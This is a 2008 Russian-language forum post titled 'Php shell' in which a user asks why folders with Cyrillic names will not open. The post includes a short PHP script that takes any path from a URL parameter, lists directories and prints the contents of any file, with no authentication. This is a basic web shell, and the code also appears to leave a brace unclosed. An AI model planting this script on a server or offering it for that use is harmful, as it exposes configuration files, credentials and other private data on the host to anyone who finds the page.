Тема: Php shell
Показать сообщение отдельно

Php shell
  #1  
Старый 31.05.2008, 13:51
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
С нами: 9499415

Репутация: 13
По умолчанию Php shell

неоткрываются русские папки
PHP код:
<form method="get">
Введите адрес :<input type="text" name="path">
<input type="submit" value="Enter"></form>
<?
$do
=$_GET['path'];
if(
$do=="./"$do .= "/";
if(!isset(
$do) or $do==''$do=getcwd();
if(
is_dir($do))
{
 
chdir($do);
 
$od=opendir($do);
 while(
$rd=readdir($od))
 {
 print 
"<br><a href=\"?path=".getcwd()."\\$rd\">$rd</a>";
 }
 
closedir($od);

if(
is_file($do)) 
{
 print 
'<textarea cols=100 rows=20>'
 print 
htmlspecialchars(file_get_contents($do));
 print 
'</textarea>';
}
?>
 
Ответить с цитированием